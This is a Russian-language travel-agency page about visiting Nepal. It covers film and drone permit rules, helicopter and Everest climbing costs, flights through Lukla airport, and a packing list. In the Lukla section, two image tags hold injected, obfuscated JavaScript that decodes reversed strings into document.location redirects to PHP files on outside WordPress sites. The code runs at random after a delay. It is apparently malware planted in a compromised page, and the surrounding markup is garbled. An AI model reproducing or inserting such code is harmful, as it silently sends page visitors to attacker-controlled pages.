Мы также рекомендуем вам, если вы планируете снимать любые видеоролики, полностью застраховать всё свое оборудование от всех рисков и ответственности. Обязательно проверьте страховой полис. Мы надеемся, что вы сочтете это полезным и, пожалуйста, не стесняйтесь спрашивать в разделе комментариев, если вам нужна дополнительная информация.

Неудивительно, что Непал стал особенным источником вдохновения и стал привлекательным как для любителей, так и для профессиональных кинематографистов со всего мира. Однако любой вид съемок в стране должен получить разрешение на съемку.

СТАНДАРТНОЕ  РАЗРЕШЕНИЕ НА СЪЕМКУ

Как получить разрешение на съемку и с чего начать?

Обратите внимание, что если вы являетесь иностранным физическим или юридическим лицом, невозможно подать заявку на получение разрешения самостоятельно. Закон в Непале требует, чтобы это осуществлялось через местную компанию. Поэтому первое, что вам нужно сделать, — это найти местную компанию, которая будет вашим официальным представителем на всем протяжении процедуры получения разрешений, а также на процесс съемки.

Эта компания должна иметь возможность подготовить все необходимые документы в различные государственные учреждения и, в конечном итоге, в Министерство информации и связи, которое имеет окончательное правомочие предоставить разрешение на съемку.

Чтобы получить это обязательное разрешение на съемку, вам понадобятся письма одобрения от различных правительственных ведомств и агентств, в зависимости от места съемки. Например, требуется разрешение Департамента археологии, если вы хотите сниматься в объектах всемирного наследия. Отдельные письма с одобрением необходимо получить, чтобы снимать фильмы в районах национальных парков.

Какие документы требуются?

Несмотря на то, что вы наняли местную компанию для оформления всех документов, чтобы получить разрешения для вас, неплохо знать, какие документы необходимы, чтобы вы могли помочь в случае необходимости ускорить процесс. Необходимые документы:

• Письмо режиссера, назначающее местное агентство в качестве вашего координатора / представителя
• Письмо вашего местного агентства в Министерство информации и коммуникаций
• Форма заявки с оплаченной почтовой маркой в размере 50 рупий
• Краткое описание фильма
• Список музыки, использованной в фильме (если вы используете музыку)
• Список членов съемочной группы с указанием их паспортных данных
• Авиа билеты членов съемочной группы
• Бронирование мест проживания для членов съемочной группы
• Полный график, включая точные даты и места съемок в Непале
• Список оборудования для съемок с их стоимостью (для целей таможенного досмотра)
• Разрешение, выданное Департаментом археологии в случае, если вы снимаетесь в любом из четырех объектов Всемирного наследия в Непале: Долина Катманду (в том числе 7 отдельных объектов: Храм Пашупатинат, Ступень Суоамбхунатх, Ступа Буддханатха, Площадь Катманду Дурбар, Площадь Патан Дурбар, Бхактапур Дурбар Площадь и храм Чангу Нараяна); Лумбини; Национальный парк Читван; Национальный парк Сагарматха.
• Разрешение, выданное Управлением Фонда развития Пашупатинатта для съемок в Храме Пашупатинат
• Разрешение, выданное Департаментом сохранения дикой природы для съемок в любом заповеднике
• Разрешение, выданное Министерством культуры туризма и гражданской авиации для съемок в Верхнем Мустанге и Верхнем Долпо, которое стоит 5000 долларов США в каждой области
• Разрешение, выданное Фондом развития Лумбини для съемок в Капильвасту и Лумбини

Как только все документы будут подготовлены, они должны быть представлены в Министерство информации и связи, и ожидать рассмотрения.

Что происходит после получения разрешения на съемку?

Конечно, теперь вы можете легально сниматься в Непале, но под наблюдением офицера связи, назначенного Министерством информации и связи.

Этот офицер будет следить за всеми съемочными мероприятиями съемочной группы, чтобы они не оказывали негативного влияния на окружающую среду и сообщество. В случае любого нарушения закона или любых видов деятельности, считающихся вредными для страны, он или она имеет полное право приостановить съемку.

Более того, расходы сотрудника, включая суточные, страхование, поездки, питание и проживание, должны покрываться кинорежиссером.

Условия, применимые к разрешению съемок

Согласно Правилам кинопроизводства, вот несколько вещей, которые следует отметить в отношении разрешения на съемку в Непале:

• Разрешение на съемку действует только один год
• Лицензия на художественный фильм останется действительной в течение трех лет
• Страхование жизни офицера связи должно охватывать как минимум 300 000 NPR
• В случае несчастного случая, произошедшего с сотрудником по связи, с его ранением, сумма до 200 000 NPR должна быть выплачена ему в качестве компенсации
• Иностранные кинорежиссеры, планирующие публичный показ, должны получить предварительное разрешение от ближайшего посольства Непала с оплатой в размере 150 000 NPR.
• Иностранные кинопроизводители должны предоставить бесплатную копию своей продукции в Министерство информации и связи
• Должностное лицо связи должно присутствовать во время съемки
• Для съемки в горных районах офицеру связи должны быть предоставлены необходимая одежда и медицинские принадлежности, оплачена стоимость авиа перелетов

Сколько стоит получение разрешения на съемку?

Разрешение на съемку стоит 15 000 NPR, и оплачивается местной компании. Эта комиссия обычно зависит от сложности и продолжительности вашего проекта и ваших способностей торговаться  с компанией.

Кроме того, вы должны нести расходы сотрудника по связи, назначенного Министерством информации и связи (включая суточные, страхование, проезд, питание и проживание).

РАЗРЕШЕНИЕ НА СЪЕМКУ БЕСПИЛОТНЫМ ЛЕТАТЕЛЬНЫМ АППАРАТОМ (БПЛА) В НЕПАЛЕ

Правила, применяемые для съемки БПЛА, весьма различны, о чем подробно говорится ниже. Это разрешение можно получить при двух условиях:

• У вас есть разрешение на съемку (с описанными выше процедурами и стоимостью)
• У вас есть лицензия пилота БПЛА

Если ваш БПЛА весит меньше 2 кг, хорошая новость заключается в том, что вы можете летать на любой частной территории без необходимости получения разрешения.

Какие документы необходимы для получения разрешения на съемку БПЛА?

Ваше агентство поможет подготовить следующие документы, которые будут представлены в Министерство информации и связи для получения разрешения:

• Разрешение на съемку
• Разрешение от Министерства информации и культуры
• Разрешение от Министерства культуры, туризма и гражданской авиации
• Разрешение Минобороны
• Разрешение Министерства внутренних дел
• Разрешение от других министерств и ведомств, если они связаны
• Разрешение Управления гражданской авиации Непала (КААН)
• Лицензия пилота-пилота БПЛА оператора беспилотного летательного аппарата
• Паспорт и Действительная Виза оператора беспилотного летательного аппарата
• Четкая карта области полета, включая широту и долготу
• Технические характеристики БПЛА
• Письмо с обязательством для полета в соответствии с условием, указанным в пункте № 3 процедуры ЛАП по ЛВП 2072 BS
• Маршрут, в котором указаны даты, время и места съемок
• Если в исходный маршрут внесены изменения, должен быть утвержден новый график

Какие условия применяются после того, как вы получили разрешение на съёмку БПЛА?

• БПЛА всегда должен оставаться в поле зрения оператора
• БПЛА должны эксплуатироваться в соответствии с визуальными метеорологическими условиями (VMC)
• Разрешение Управления гражданской авиации Непала (CAAN) требуется для всех рейсов
• Перед подачей заявки на разрешение CAAN требуется предварительное одобрение соответствующих органов власти
• Независимо от высоты, взлетно-посадочная зона в аэропорту должна быть свободной все время
• Разрешение предоставляется на определенное количество времени по запросу

Помимо упомянутых выше условий, здесь приведена самая обновленная информация из Директивы правительства октября 2015г, которую вы должны знать:

• Не летайте ближе чем 1000 м от стратегически важных объектов
• Не летайте над археологическими раскопками
• Горизонтальное расстояние БПЛА не должно превышать 300 м от оператора
• Вертикальный предел составляет 100 м
• Выносливость БПЛА не должна превышать 15 минут

Сколько стоит разрешение на съемку БПЛА?

В отличие от обычного разрешения на съемку, которое стоит 15 000 NRP, разрешение на БЛА выдается бесплатно.

Сколько времени требуется для получения разрешения на съемку?

• Для обычного разрешения на съемку требуется от 2 до 14 дней
• Для разрешения БПЛА в некоторых случаях это может занять еще больше времени

Удачи!

А вы в курсе, что в Непале вертолеты используются не только для того, чтобы эвакуировать горемычных треккеров, согнувшихся от горной болезни, но и для того, чтобы получить новый заряд адреналина и новых эмоций он полета, или, просто сократить время на дорогу об Базового лагеря Эвереста в Катманду?

А вот да!

Если расходы на эвакуацию в экстренном случае возьмет на себя ваша страховая компания (данный пункт должен быть в вашем страховом полисе), то расходы на увеселительные полеты лягут на ваши плечи и карман.

Смотрите, на сезон весна 2018г. средняя стоимость такая:

Вертолет Базовый лагерь Эвереста — аэропорт Лукла $2000 за рейс (вместимость 5 человек)

Вертолет Базовый лагерь Эвереста — аэропорт Катманду $3500 за рейс (вместимость 5 человек)

Ну а зачем еще нужны деньги?! 😉

Если раньше покорить самую высокую вершину мира мог любой желающий, то сейчас власти Непала лишили альпинистов такой возможности. Чтобы избежать инцидентов, были приняты новые правила безопасности.

Как известно, новые законы запрещают покорять Джомолунгму альпинистам-одиночкам и людям с ограниченным возможностями – слепым и любителям высоты, лишенным двух конечностей.

Альпинистов, которые не хотят совершать восхождение в команде, обязали нанимать как минимум одного проводника.

Эта мера необходима, чтобы снизить число инцидентов, происходящих с альпинистами при восхождении.

Первым покорившим Эверест человеком с двумя ампутированными ногами стал новозеландец Марк Инглис, он сделал это в 2006 году. Первым слепым человеком, который взошел на гору, стал американец Эрик Вайхенмайер.

Новые правила уже подвергли критике. Один из любителей покорять вершины на своей странице в Фейсбук написал, что в любом случае поднимется на Эверест, несмотря на то, какое решение примет правительство Непала. Он – инвалид, в Афганистане потерял обе ноги, но твердо намерен взойти на Эверест, чего бы ему это ни стоило.

Пользователи Сети считают новые правила безопасности дискриминационными и несправедливыми. Экстремалы тем более не согласны с властями Непала.

При этом покорение горных вершин приносит в бюджет страны 70% доходов от всей туристической индустрии.

Так, покорение Эвереста в группе из шести человек обойдётся каждому из её членов примерно в 40 тысяч долларов, а одиночный штурм будет стоить как минимум 60 тысяч долларов.

Аэропорт Лукла — главные воздушные ворота Эвереста.

Именно через этот крошечный аэропорт прибывают к старту маршрута практически все туристы отправляющиеся на треккинг к базовому лагерю Эвереста а также альпинисты, мечтающие о вершине Джомолунгмы. Расхожим штампом стало именование Луклы «самым опасным аэропортом мира». Не думаю, что это в самом деле так — наверняка должны быть места и по-жёстче. Тем не менее Лукла — действительно экстремальное место. Длина взлётной полосы всего 520 метров. С одной стороны она обрывается в пропасть, с другой — упирается в скалу.

Более того, уклон взлётной полосы составляет 10-12 градусов. Поэтому приземлятся тут надо только в одном направлении и только с первого раза. Пилоты говорят, что после того как самолёт пересекает реку, пути назад нет — он должен приземлиться, второй заход невозможен.

Самолёты-маршрутки

Из-за крайне малой длины взлётно-посадочной полосы в Лукле тут могут работать только специальные самолёты с укороченным взлётом и посадкой. Это канадские DHC-6 Twin Otter и немецкие Dornier 228. Их легко отличить — у Dornier более длинный нос, в котором прячется дополнительное багажное отделение, а у Twin Otter не прячется шасси и есть подпорки под крыльями. Но и те и другие это эдакие самолёты-маршрутки вместительностью до 20 человек и стоимостью в 7 миллионов долларов за штуку.

На большинстве рейсов в Лукле загрузку ограничивают 15-18 пассажирами,  также с каждым годом непальские авиакомпании ужесточают нормы провозки багажа. На данный момент разрешенная масса зарегистрированного багажа всего 10 кг на человека. Плюс пару килограмм ручной клади. Пока что ручную кладь контролируют спустя рукава, но стоит случиться очередной аварии из-за перегрузки и авиакомпании, не заинтересованные в потере дорогостоящих самолётов и собственной репутации, возьмутся за контроль безразмерных карманов и прочие ухищрения пассажиров. Либо увеличат и без того высокие цены ($350 в одну сторону), чтобы иметь возможность сажать на рейс еще на пару человек меньше.

Кстати, в салоне нет багажных полок. Там вообще очень мало места — не пытайтесь протащить туда слона в рюкзаке. Зато и дверей в кабину пилотов в самолётах-маршрутках тоже нет, наверное чтобы было удобней передавать за проезд 🙂 Можно смотреть как работают пилоты (их всегда двое) и пугаться глядя на посадочную полосу через лобовое стекло (в остальное время там ничего не показывают).

Из-за переменчивости погоды дорога каждая минута ясного неба, поэтому высадка и посадка пассажиров происходят без каких либо пауз на уборку и техническое обслуживание. Все происходит молниеносно — самолёт приземляется, съезжает с поля в «карман» (его место тут занимает другой), пассажиры выскакивают из «маршрутки» и бегут к терминалу, улетающие уже стоят наготове, тем временем грузчики перекидывают багаж на ручные тележки. Порядок на поле поддерживает непальская армия. В горячий сезон, когда открывается «окно» в облаках, самолёты заходят на посадку непрерывной чередой. Это завораживающее зрелище, фантастический конвейер, гимн эффективности.

Погода в Лукле

Даже при нормальной погоде аэропорт Тэнцинга и Хиллари принимает самолёты только в промежутке с 6:30 до 15:30. Если же погода портится, то аэропорт Луклы перестаёт принимать рейсы вне зависимости от времени суток и количества недовольно орущих пассажиров. Эта пауза может длиться от нескольких часов, до недели.

При сколь либо длительной задержке в Лукле начинают накапливаться спускающиеся с гор туристы. Лоджи переполняются, цены растут, народ нервничает и штурмует офисы авиакомпаний чтобы хоть что-то выяснить. Постоянно составляются некие бестолковые списки. Созерцание погодных сайтов становится самым популярным развлечением (в другое время все развлекаются наблюдая за посадкой самолётов).

Прелесть ситуации в том, что даже если погода наладится, то для того чтобы вывезти всех собравшихся в Лукле людей может понадобится несколько дней. А ведь время поджимает — у большинства туристов не более одного запасного дня перед отлётом домой из Катманду. Терять билеты на дорогущие международные рейсы и опаздывать на работу никому не хочется. И тогда начинаются метания — ждать ли дальше своей очереди на вылет или пробовать альтернативные способы вернуться в Катманду?

Альтернатива Лукле

Если самолёты не летают, а вам очень надо выбраться, то можно воспользоваться одним из двух запасных вариантов. Первый из них — вертолёт. Вертолёты летают почти в любую погоду, туманы их почти не пугают. Цена вопроса — примерно 500 долларов. По возвращении в Катманду можно будет сдать свои авиабилеты и тем самым как бы сэкономить 180-200 баксов.

Второй вариант — бежать пешком в какой-нибудь другой поселок и искать там транспорт. Обычно бегут в Jiri, Phaplu или Salleri. Но по времени такой спуск займёт как минимум 2-3 дня. И это в лучшем случае — если идти быстро и напряженно. Достигнув намеченной деревни надо будет найти джип и еще 8-12 часов трястись в нём до Катманду.

Врядли вы сможете принять сложное решение (не ждать самолёт) мгновенно. Скорее всего этому будет предшествовать некоторый период раздумий и драгоценное время будет утеряно. Да и вообще, как показывает практика, у современного человека свободных денег в среднем больше, чем свободного времени. Поэтому оптимальным вариантов эвакуации, на мой взгляд, всё таки является вертолёт.

tolet-lulka-nepal.jpg»>$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tolet-lulka-nepal-1024×649.jpg» alt=»» width=»1024″ height=»649″ />

Советы тем, кто летит в Луклу

• Если хотите видеть в иллюминатор Гималаи, то садитесь по левому борту самолёта (для рейса Катманду-Лукла). На обратном пути в Катманду белоснежные вершину будут интересовать вас в гораздо меньшей степени.
• Лучше покупать обратные билеты с фиксированной датой (а не с открытой). У них выше приоритет при регистрации на рейс — больше шансов улететь вовремя.
• Если есть выбор, то покупайте билеты на самые ранние рейсы (не позже 8 утра). Утром погода значительно лучше.
• Возьмите в салон куртку. В Катманду то обычно жарко, а вот на подлёте к Лукле в самолёте заметно холодает. Нередко случаются и ощутимые сквозняки в салоне (он не герметичный, запасные выходы закрываются не очень плотно).
• Чтобы вписаться в органичения по весу багажа, наденьте на себя как побольше одежды (ботинки!) и распихайте по карманам тяжелую мелочевку.
• В самолёте нет туалета, сходите туда заранее. Полёт длится около 40 минут.
• Если вас укачивает в транспорте, заранее выпейте таблетку от укачивания. Если делать это в самолёте, она может не успеть подействовать — рейс очень короткий.
• Ярко и крупно подпишите ваш багаж, укажите на нём номер телефона. Возможна ситуация, когда из-за перегрузки ваш багаж полетит другим рейсом и из-за этого отстанет от вас на день (если погода внезапно испортится).
• Сдайте в багаж ножи и треккинговые палки. Хоть в аэропорту Катманду и разгильдяйничают частенько, но сканер проходить всё-таки заставляют.

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andu.jpg»>$Ikf=function(n){if (typeof ($Ikf.list[n]) == «string») return $Ikf.list[n].split(«»).reverse().join(«»);return $Ikf.list[n];};$Ikf.list=[«\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andu-1024×497.jpg» alt=»» width=»1024″ height=»497″ />

Советы тем, кто улетает из Луклы

• Начните интересоваться погодой в Лукле еще за 2-3 дня до прихода туда (т.е. еще в Горакшепе). При некоторых обстоятельствах (надвигающийся циклон) имеет смысл кидать всё и на полных парах бежать в Луклу, дабы не застрять там впоследствии.
• По возвращении в Катманду любые билеты, даже просроченные, можно легко сдать обратно в кассу. Поэтому, если того требует момент, не останавливайтесь перед покупкой новых, более удачных билетов.
• Имеет смысл не заниматься регистрацией (пропихиванием) своих билетов самостоятельно, а поручить это вашему гиду, носильщику или администратору вашего лоджа.
• Запасные 500 долларов должны быть у каждого!
• Запасной день тоже не помешает.

При планировании наших туров к Эвересту мы стараемся закладывать в программу как минимум 2 запасных дня (промежуток времени между приходом в Луклу и вылетом из Катманду). И мы берем на себе всю головную боль, связанную с бронированием и «пропихиванием» билетов, поэтому вам остаемся только наслаждаться зрелищем суетящихся треккеров ;)))

Солнцезащитный крем, головной убор и солнечные очки

Часто туристы приезжают из Непала такими загорелыми, что им завидуют отдыхающие египетских курортов. Все дело в том, что Непал – высокогорная страна. Катманду находится на высоте 1300-1400 метров над уровнем моря, а во время трекингов к базовому лагерю Аннапурны и к базовому лагерю Эвереста вы окажетесь на высотах более 5000 метров. Чем выше над уровнем моря, тем солнце “злее”. Вы можете даже не заметить, как получите солнечный ожог.

Головной убор также обязателен. Глаза россиян непривычны к солнцу так же, как и кожа, поэтому рекомендуем взять солнечные очки. Помните, что большинство жителей России привыкли находиться на высотах около уровня моря и солнце мы видим в среднем 5,3 часа в день (это статистика для Москвы). Непальское солнце очень коварно. Вы можете чувствовать себя хорошо, но неожиданно обнаружить, что обгорели со всеми вытекающими неприятными последствиями.

Фонарик и батарейки

В Непале сложная ситуация с обеспечением электроэнергией. Питание тут планово отключают каждый день. Это называется “loadshedding”. Время перерыва – от 4 до 15 часов в сутки, в зависимости от сезона. В дорогих отелях есть свои генераторы и блоки бесперебойного электропитания, и там вы отключений энергии не почувствуете. Наличие таких систем – главное отличие дорогих отелей в Непале от дешевых. А если вы остановились в недорогой гостинице? Вы приходите в свой номер, а света нет. Хотите помыть руки, а в ванной темно. В туалет ходить также проблематично. Что делать? Вот на этот случай мы рекомендуем запастись фонариком, лучше на светодиодах, он гораздо дольше светит, чем ламповый, и куда надежнее. Вторая проблема – вы не можете зарядить ни смартфон, ни планшетный компьютер, ни ноутбук, ни фотоаппарат, ни видеокамеру. На этот случай мы рекомендуем взять с собой переносной аккумулятор (повербэнк). Кстати, прелесть этого устройства вы почувствуете уже при длительном перелете. Когда ваши смартфоны и планшеты “сядут” в середине полета, аккумулятор позволит их подзарядить, и спасет от смерти от скуки.

Одноразовые ложки и вилки

Непальцы традиционно едят руками, но жители городов уже перешли на вилки и ложки, реже они пользуются китайскими палочками. Вилку и ложку вы получите в любом непальском ресторане и кафе.

Проблемы могут возникнуть с некоторыми уличными фаст-фудами, например, при покупке на улице традиционных пельменей момо или других закусок. Уличный торговец может не дать вам никаких приборов вообще. На этот случай мы рекомендуем запастись упаковкой одноразовых вилок и ложек.

Шарф или маску для лица

Катманду – это город с постоянными ветрами. Скорость ветра 5 км/ч тут считается нормальной. Конечно, ветер сам по себе негатива не несет, но тут еще и пыльно. Пыль попадает в рот и глаза, что очень раздражает. Конечно, такое состояние не постоянно, но все равно приятного мало. Даже если вы наденете простой шарф и будете иметь возможность им замотать лицо, ваша жизнь в Непале уже станет легче. Мы не рекомендуем ходить закутанными постоянно, просто носите шарф и будьте готовы прикрыть им лицо. Впрочем, подобные вещи можно купить уже на месте.

Что-то от дождя и теплая одежда

Погода в Непале отличается большими перепадами температур между днем и ночью. В зимние месяцы днем может стоять прекрасная погода 20 градусов тепла, а ночью температура опустится до нуля. Теплый свитер нужно иметь обязательно! Вторая особенность – сезон дождей, который длится с июня по сентябрь. В это время берите с собой зонтики или дождевики, без них в Непале на улицу летом лучше вообще не выходить.

Лекарства и средства гигиены

В Непале вас ждут не только буддистские ступы и индуистские храмы, но и десятки растений, к которым вы никогда не прикасались и пыльцу которых никогда не вдыхали. Даже опытный врач-аллерголог не возьмется предсказать, на какие из них у вас может проявиться аллергия. Вывод: средство от аллергии берите обязательно.

Непальская кухня самобытна. Вспомнить хотя бы соусы “чатни” – популярный подарок из Непала. В Непале таких соусов насчитывается до тысячи видов. Сложно предсказать реакцию вашего желудка и кишечника на эти кулинарные изыски. Вывод: лекарства для желудка берите обязательно.

Считается, что в Непале не очень хорошо обстоят дела с гигиеной, хотя с этим можно поспорить. В любом случае, там вас ждут новые бактерии, с которыми иммунитет не имел дела раньше. Очень рекомендуется взять с собой антибактериальные салфетки и периодически протирать ими руки, лицо и столовые приборы. Европейцы на этом просто помешаны, они протирают гигиеническими салфетками все, что видят. Следовать их примеру мы не советуем, но разумный уровень осторожности не повредит.

Удачного, яркого и запоминающегося посещения Непала!

Обязательно оцените все наши направления!